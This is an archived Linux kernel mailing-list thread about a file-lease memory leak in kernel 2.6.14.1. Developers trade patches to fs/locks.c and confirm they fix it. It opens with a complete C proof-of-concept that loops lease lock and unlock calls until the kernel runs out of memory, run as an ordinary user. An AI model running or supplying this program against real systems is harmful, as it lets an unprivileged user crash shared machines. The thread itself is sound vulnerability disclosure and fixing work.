local denial-of-service with file leases

local denial-of-service with file leases

[Avi Kivity]

the following program will oom a the 2.6.14.1 kernel, running as an 
ordinary user:

#include <unistd.h>

#include <stdlib.h>

#include <linux/fcntl.h>

int main(int ac, char **av)

{

    char *fname = av[0];

    int fd = open(fname, O_RDONLY);

    int r;

    

    while (1) {

        r = fcntl(fd, F_SETLEASE, F_RDLCK);

        if (r == -1) {

            perror("F_SETLEASE, F_RDLCK");

            exit(1);

        }

        r = fcntl(fd, F_SETLEASE, F_UNLCK);

        if (r == -1) {

            perror("F_SETLEASE, F_UNLCK");

            exit(1);

        }

    }

    return 0;

}


it will suck all available memory into fasync_cache, causing an oom. a 
workaround is to set fs.leases-enable to 0.

this has already been reported to lkml[1] and fedora[2], with no effect.

[1] http://www.ussg.iu.edu/hypermail/linux/kernel/0510.2/1589.html
[2] https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=172691

Re: local denial-of-service with file leases

[Chris Wright]

* Avi Kivity (avi@argo.co.il) wrote:
> the following program will oom a the 2.6.14.1 kernel, running as an 
> ordinary user:

I don't have a good mechanism for testing leases, but this should fix
the leak.  Mind testing?

thanks,
-chris
--

When unlocking lease make sure to release fasync_struct.

Signed-off-by: Chris Wright <chrisw@osdl.org>
---

diff --git a/fs/locks.c b/fs/locks.c
index a1e8b22..abba0f6 100644
--- a/fs/locks.c
+++ b/fs/locks.c
@@ -1412,7 +1412,7 @@ int fcntl_setlease(unsigned int fd, stru
 	struct file_lock fl, *flp = &fl;
 	struct dentry *dentry = filp->f_dentry;
 	struct inode *inode = dentry->d_inode;
-	int error;
+	int error, on = 1;
 
 	if ((current->fsuid != inode->i_uid) && !capable(CAP_LEASE))
 		return -EACCES;
@@ -1433,7 +1433,10 @@ int fcntl_setlease(unsigned int fd, stru
 	if (error)
 		goto out_unlock;
 
-	error = fasync_helper(fd, filp, 1, &flp->fl_fasync);
+	if (arg == F_UNLCK)
+		on = 0;
+
+	error = fasync_helper(fd, filp, on, &flp->fl_fasync);
 	if (error < 0) {
 		/* remove lease just inserted by __setlease */
 		flp->fl_type = F_UNLCK | F_INPROGRESS;

Re: local denial-of-service with file leases

[Avi Kivity]

Chris Wright wrote:

>* Avi Kivity (avi@argo.co.il) wrote:
>  
>
>>the following program will oom a the 2.6.14.1 kernel, running as an 
>>ordinary user:
>>    
>>
>
>I don't have a good mechanism for testing leases, but this should fix
>the leak.  Mind testing?
>
>  
>
the test program of course passes, but now samba hangs when reading a 
file (mount -t cifs from the same machine). 2.6.14.1 reads the file but 
leaks memory.

-- 
Do not meddle in the internals of kernels, for they are subtle and quick to panic.

Re: local denial-of-service with file leases

[Avi Kivity]

Avi Kivity wrote:

>>
>> I don't have a good mechanism for testing leases, but this should fix
>> the leak.  Mind testing?
>>
>>  
>>
> the test program of course passes, but now samba hangs when reading a 
> file (mount -t cifs from the same machine). 2.6.14.1 reads the file 
> but leaks memory.
>

Sorry, it doesn't hang, it's just very slow (3Mbit/sec over loopback), 
but that's not because of the leases AFAICT.

-- 
Do not meddle in the internals of kernels, for they are subtle and quick to panic.

Re: local denial-of-service with file leases

[Trond Myklebust]

[-- Attachment #1: Type: text/plain, Size: 562 bytes --]

On Fri, 2005-11-11 at 00:45 -0800, Chris Wright wrote:
> * Avi Kivity (avi@argo.co.il) wrote:
> > the following program will oom a the 2.6.14.1 kernel, running as an 
> > ordinary user:
> 
> I don't have a good mechanism for testing leases, but this should fix
> the leak.  Mind testing?
> 

Bruce has a simpler patch (see attachment). The call to fasync_helper()
in order to free active structures will have already been done in
locks_delete_lock(), so in principle, all we want to do is to skip the
fasync_helper() call in fcntl_setlease().

Cheers,
  Trond



[-- Attachment #2: Attached message - Re: [Fwd: local denial-of-service with file leases] --]
[-- Type: message/rfc822, Size: 2870 bytes --]

From: "J. Bruce Fields" <bfields@fieldses.org>
To: Trond Myklebust <Trond.Myklebust@netapp.com>
Cc: "William A (Andy) Adamson" <andros@umich.edu>
Subject: Re: [Fwd: local denial-of-service with file leases]
Date: Thu, 10 Nov 2005 19:08:00 -0500
Message-ID: <20051111000800.GE31168@fieldses.org>

On Thu, Nov 10, 2005 at 05:54:28PM -0500, bfields wrote:
> Sorry, that should ahve been an obvious thing to try after that last
> complaint.  OK, looking....

Yup:

http://linux.bkbits.net:8080/linux-2.6/diffs/fs/locks.c@1.70?nav=index.html|src/|src/fs|hist/fs/locks.c

(Isn't there someone with a complete kernel history in git and a gitweb
interface?  Sure would be convenient.)

This seems to fix it, but I want to investigate a little more tommorow.
--b.


---

 linux-2.6.14-bfields/fs/locks.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff -puN fs/locks.c~locks-fix-fasync-leak fs/locks.c
--- linux-2.6.14/fs/locks.c~locks-fix-fasync-leak	2005-11-10 18:49:15.000000000 -0500
+++ linux-2.6.14-bfields/fs/locks.c	2005-11-10 18:50:12.000000000 -0500
@@ -1446,7 +1446,7 @@ int fcntl_setlease(unsigned int fd, stru
 	lock_kernel();
 
 	error = __setlease(filp, arg, &flp);
-	if (error)
+	if (error || arg == F_UNLCK)
 		goto out_unlock;
 
 	error = fasync_helper(fd, filp, 1, &flp->fl_fasync);
_

Re: local denial-of-service with file leases

[Chris Wright]

* Trond Myklebust (trond.myklebust@fys.uio.no) wrote:
> Bruce has a simpler patch (see attachment). The call to fasync_helper()
> in order to free active structures will have already been done in
> locks_delete_lock(), so in principle, all we want to do is to skip the
> fasync_helper() call in fcntl_setlease().

Yes, that's better, thanks.  Will you make sure it gets to Linus?

thanks,
-chris

Re: local denial-of-service with file leases

[Trond Myklebust]

On Fri, 2005-11-11 at 10:35 -0800, Chris Wright wrote:
> * Trond Myklebust (trond.myklebust@fys.uio.no) wrote:
> > Bruce has a simpler patch (see attachment). The call to fasync_helper()
> > in order to free active structures will have already been done in
> > locks_delete_lock(), so in principle, all we want to do is to skip the
> > fasync_helper() call in fcntl_setlease().
> 
> Yes, that's better, thanks.  Will you make sure it gets to Linus?

Sure, but I'd like a mail from Avi confirming that this patch too fixes
his problem, please.

Cheers,
  Trond

Re: local denial-of-service with file leases

[Chris Wright]

* Trond Myklebust (trond.myklebust@fys.uio.no) wrote:
> On Fri, 2005-11-11 at 10:35 -0800, Chris Wright wrote:
> > * Trond Myklebust (trond.myklebust@fys.uio.no) wrote:
> > > Bruce has a simpler patch (see attachment). The call to fasync_helper()
> > > in order to free active structures will have already been done in
> > > locks_delete_lock(), so in principle, all we want to do is to skip the
> > > fasync_helper() call in fcntl_setlease().
> > 
> > Yes, that's better, thanks.  Will you make sure it gets to Linus?
> 
> Sure, but I'd like a mail from Avi confirming that this patch too fixes
> his problem, please.

OK, I tested with Avi's test program, and a couple other's I cobbled
together, and they seem to work fine.  But didn't test the samba case
(shouldn't be different...but...).  BTW, the bit below looks like
debugging code.  It's a way for users to spam the kernel log (granted
there is some bit of throttling):

thanks,
-chris
--

Remove time_out_leases() printk that's easily triggered by users.

Signed-off-by: Chris Wright <chrisw@osdl.org>
---

diff --git a/fs/locks.c b/fs/locks.c
--- a/fs/locks.c
+++ b/fs/locks.c
@@ -1105,7 +1105,6 @@ static void time_out_leases(struct inode
 			before = &fl->fl_next;
 			continue;
 		}
-		printk(KERN_INFO "lease broken - owner pid = %d\n", fl->fl_pid);
 		lease_modify(before, fl->fl_type & ~F_INPROGRESS);
 		if (fl == *before)	/* lease_modify may have freed fl */
 			before = &fl->fl_next;

Re: local denial-of-service with file leases

[Avi Kivity]

Chris Wright wrote:

>>Sure, but I'd like a mail from Avi confirming that this patch too fixes
>>his problem, please.
>>    
>>
>
>OK, I tested with Avi's test program, and a couple other's I cobbled
>together, and they seem to work fine.  But didn't test the samba case
>(shouldn't be different...but...).
>
FWIW, I've run a short (and successful) test with samba.

Avi